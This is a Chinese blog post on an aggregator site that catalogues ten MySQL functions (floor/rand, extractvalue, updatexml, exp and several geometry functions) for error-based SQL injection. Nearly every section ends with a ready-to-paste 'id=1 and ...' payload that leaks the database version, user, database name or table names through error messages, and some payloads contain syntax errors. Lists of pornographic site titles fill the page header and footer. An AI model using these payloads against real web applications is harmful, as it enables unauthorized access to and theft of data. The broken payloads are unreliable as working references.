日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql十大报错_MySQL十大报错函数

發(fā)布時(shí)間:2025/4/5 数据库 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql十大报错_MySQL十大报错函数 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1.Floor()

round() 遵循四舍五入把原值轉(zhuǎn)化為指定小數(shù)位數(shù),如:round(1.45,0) = 1;round(1.55,0)=2

floor()向下舍入為指定小數(shù)位數(shù) 如:floor(1.45,0)= 1;floor(1.55,0) = 1

ceiling()向上舍入為指定小數(shù)位數(shù) 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2

floor(x),返回小于或等于x的最大整數(shù)。

x表示concat(database(),rand(0)*2),rand(0)以0為隨機(jī)種子產(chǎn)生0-1之間的隨機(jī)數(shù),*2產(chǎn)生0-2之間的隨機(jī)數(shù)。

報(bào)錯(cuò)原因:主鍵重復(fù),必需:count()、rand()、group by

payload:

id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue()

ExtractValue(xml_frag, xpath_expr)ExtractValue()接受兩個(gè)字符串參數(shù),一個(gè)XML標(biāo)記片段 xml_frag和一個(gè)XPath表達(dá)式 xpath_expr(也稱為 定位器); 它返回CDATA第一個(gè)文本節(jié)點(diǎn)的text(),該節(jié)點(diǎn)是XPath表達(dá)式匹配的元素的子元素。

第一個(gè)參數(shù)可以傳入目標(biāo)xml文檔,第二個(gè)參數(shù)是用Xpath路徑法表示的查找路徑

例如:SELECT ExtractValue(‘‘, ‘/a/b‘); 就是尋找前一段xml文檔內(nèi)容中的a節(jié)點(diǎn)下的b節(jié)點(diǎn),這里如果Xpath格式語法書寫錯(cuò)誤的話,就會(huì)報(bào)錯(cuò)。這里就是利用這個(gè)特性來獲得我們想要知道的內(nèi)容。

payload:

id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));

3.UpdateXml()

UPDATEXML (XML_document, XPath_string, new_value);

第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc

第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。

第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)

而我們的注入語句為:

id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))

其中的concat()函數(shù)是將其連成一個(gè)字符串,因此不會(huì)符合XPATH_string的格式,從而出現(xiàn)格式錯(cuò)誤,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

4.Exp()

exp是以e為底的指數(shù)函數(shù),

mysql> select exp(1);

+-------------------+

| exp(1) |

+-------------------+

| 2.718281828459045 |

+-------------------+

1 row in set (0.00 sec)

但是,由于數(shù)字太大是會(huì)產(chǎn)生溢出。這個(gè)函數(shù)會(huì)在參數(shù)大于709時(shí)溢出,報(bào)錯(cuò)。

mysql> select exp(709);

+-----------------------+

| exp(709) |

+-----------------------+

| 8.218407461554972e307 |

+-----------------------+

1 row in set (0.00 sec)

mysql> select exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

將0按位取反就會(huì)返回“18446744073709551615”,再加上函數(shù)成功執(zhí)行后返回0的緣故,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到最大的無符號(hào)BIGINT值。

mysql> select ~0;

+----------------------+

| ~0 |

+----------------------+

| 18446744073709551615 |

+----------------------+

1 row in set (0.00 sec)

mysql> select ~(select version());

+----------------------+

| ~(select version()) |

+----------------------+

| 18446744073709551610 |

+----------------------+

1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個(gè)DOUBLE overflow error,并借由此注出數(shù)據(jù)。

mysql> select exp(~(select * from(select database())x));

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在腳本語言中,就會(huì)將錯(cuò)誤中的一些表達(dá)式轉(zhuǎn)化成相應(yīng)的字符串,即像這樣:

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

從而實(shí)現(xiàn)了報(bào)錯(cuò)注入。

payload:

id=1 and exp(~(select * from(select user())a));

5.GeometryCollection()

GeometryCollection的理解:以點(diǎn)的方式存放 ,如果單個(gè)點(diǎn)直接用 坐標(biāo)(x,y)表示,如果是線的話是多個(gè)點(diǎn)使用 LINESTRING()來保存這條線上的點(diǎn)。

payload:

id=1 and GeometryCollection(()select *from(select user())a)b);

6.Polygon()

Polygon該函數(shù)畫一個(gè)由直線相聞的兩個(gè)以上頂點(diǎn)組成的多邊形,用當(dāng)前畫筆畫多邊形輪廓,用當(dāng)前畫刷和多邊形填充模式填充多邊形。

如圖中所示:

圖 1 是由外部環(huán)定義其邊界的 Polygon 實(shí)例。

圖 2 是由外部環(huán)和兩個(gè)內(nèi)部環(huán)定義其邊界的 Polygon 實(shí)例。 內(nèi)部環(huán)內(nèi)的面積是 Polygon 實(shí)例的外部環(huán)的一部分。

圖 3 是一個(gè)有效的 Polygon 實(shí)例,因?yàn)槠鋬?nèi)部環(huán)在單個(gè)切點(diǎn)處相交。

payload:

id =1 and polygon((select * from(select * from(select user())a)b));

此注入點(diǎn)可以理解為limit后的注入點(diǎn)

7.MultiPoint

MultiPoint 是零個(gè)點(diǎn)或更多個(gè)點(diǎn)的集合。 MultiPoint 實(shí)例的邊界為空。

payload:

id = 1 and multipoint((select * from(select * from(select user())a)b));

8.MultiLineString()

MultiLineString 是零個(gè)或多個(gè) geometry 或 geographyLineString 實(shí)例的集合。

如圖中所示:

圖 1 顯示的是一個(gè)簡單的 MultiLineString 實(shí)例,其邊界是其兩個(gè) LineString 元素的四個(gè)端點(diǎn)。

圖 2 顯示的是一個(gè)簡單的 MultiLineString 實(shí)例,因?yàn)橹挥?LineString 元素的端點(diǎn)相交。 邊界是兩個(gè)不重疊的端點(diǎn)。

圖 3 顯示的是一個(gè)不簡單的 MultiLineString 實(shí)例,因?yàn)樗钠渲幸粋€(gè) LineString 元素的內(nèi)部出現(xiàn)了相交。 此 MultiLineString實(shí)例的邊界是四個(gè)端點(diǎn)。

圖 4 顯示的是一個(gè)不簡單、非閉合的 MultiLineString 實(shí)例。

圖 5 顯示的是一個(gè)簡單、非閉合的 MultiLineString。 它沒有閉合是因?yàn)樗?LineStrings 元素沒有閉合。 而其簡單的原因在于,其任何 LineStrings 實(shí)例的內(nèi)部都沒有出現(xiàn)相交。

圖 6 顯示的是一個(gè)簡單、閉合的 MultiLineString 實(shí)例。 它為閉合的是因?yàn)樗乃性囟际情]合的。 而其簡單的原因在于,其所有元素都沒有出現(xiàn)內(nèi)部相交現(xiàn)象。

payload:

id = 1 and multilinestring((select * from(select * from(select user())a)b));

9.LineString

LineString 是一個(gè)一維對(duì)象,表示一系列點(diǎn)和連接這些點(diǎn)的線段。

如圖中所示:

圖 1 顯示的是一個(gè)簡單、非閉合的 LineString 實(shí)例。

圖 2 顯示的是一個(gè)不簡單、非閉合的 LineString 實(shí)例。

圖 3 顯示的是一個(gè)閉合、簡單的 LineString 實(shí)例,因此是一個(gè)環(huán)。

圖 4 顯示的是一個(gè)閉合、不簡單的 LineString 實(shí)例,因此不是一個(gè)環(huán)。

payload:

id = 1 and LINESTRING((select * from(select * from(select user())a)b));

10.MultiPolygon()

MultiPolygon實(shí)例是零個(gè)或更多個(gè)Polygon實(shí)例的集合。

如圖中所示:

圖 1 是一個(gè)包含兩個(gè) Polygon 元素的 MultiPolygon 實(shí)例。 邊界由兩個(gè)外環(huán)和三個(gè)內(nèi)環(huán)界定。

圖 2 是一個(gè)包含兩個(gè) MultiPolygon 元素的 Polygon 實(shí)例。 邊界由兩個(gè)外環(huán)和三個(gè)內(nèi)環(huán)界定。 這兩個(gè) Polygon 元素在切點(diǎn)處相交。

總結(jié)

以上是生活随笔為你收集整理的mysql十大报错_MySQL十大报错函数的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 久久久成人精品一区二区三区 | 欧美亚洲国产一区二区三区 | 日本三级大全 | 欧美爱爱视频 | 精品一区二区三区四区视频 | 国产嫩草在线观看 | 在线视频1卡二卡三卡 | 亚洲成av人片久久 | 国产欧美视频一区 | 久久久在线免费观看 | 看欧美一级片 | 欧美日韩综合视频 | 国语对白一区二区 | 性开放耄耋老妇hd | 久久久久久久久久久影院 | 久久精品一二区 | 涩涩999| 欧美日韩亚洲精品一区二区 | 成人午夜影院在线观看 | 曰本毛片 | 日韩国产第一页 | 在线毛片观看 | 成人在线观看一区二区 | 在线a视频 | 九九热九九 | 日韩av大片在线观看 | 一区二区三区视频观看 | 土耳其xxxx性hd极品 | www.18av| 国产一区二区三区免费观看视频 | 美日韩视频 | 国产吃瓜黑料一区二区 | 精品无码久久久久久久久果冻 | 日本少妇videos高潮 | 国产jjizz一区二区三区视频 | 九色在线播放 | 老司机精品在线 | 免费处女在线破视频 | 女生扒开尿口让男生桶 | 黄色片网站免费 | 国产裸体无遮挡 | 亲嘴扒胸摸屁股免费视频日本网站 | 久久人人插 | 狠狠躁狠狠躁视频专区 | 亚洲精品在线免费看 | 丝袜一级片 | av亚洲在线 | 日韩毛片大全 | 天天摸天天操天天爽 | 午夜剧场在线 | 国产伦精品视频一区二区三区 | 少妇欧美激情一区二区三区 | 亚洲v日韩v综合v精品v | 国产小视频一区 | 免费成人一级片 | 精品在线播放视频 | 农村妇女毛片 | 小辣椒导航 | 完全免费av | 国产精品嫩草69影院 | 香蕉视频三级 | 超碰超在线 | 国产一级片网址 | 无人码人妻一区二区三区免费 | 性欧美一区二区三区 | 日本激情一区二区 | 国产口爆吞精一区二区 | 爆操女秘书 | 一区二区三区四区免费视频 | 日韩免费观看视频 | 黄色污在线观看 | 日日草视频 | 欧美xxxxx少妇 | 伊人久久精品一区二区三区 | 久久久久久久亚洲 | 亚洲精品乱码久久久久久久 | 日韩精彩视频 | 成av在线| 亚洲网色| 久久久99精品免费观看 | 亚洲精品久久久蜜桃网尤妮丝 | 国产精品777 | 香蕉在线观看视频 | a黄色片 | 精品久久久久久久久久久久 | 欧美乱妇狂野欧美视频 | 日韩在线视频观看免费 | 另类激情综合 | 日日躁夜夜躁狠狠久久av | av秋霞| 亚洲三级久久 | 四虎永久免费在线观看 | 亚洲成人a∨ | 欧美高清视频一区 | aaa影院| 国产在线高清 | 亚洲调教 | 日本精品一二区 | 国产人妻久久精品一区二区三区 |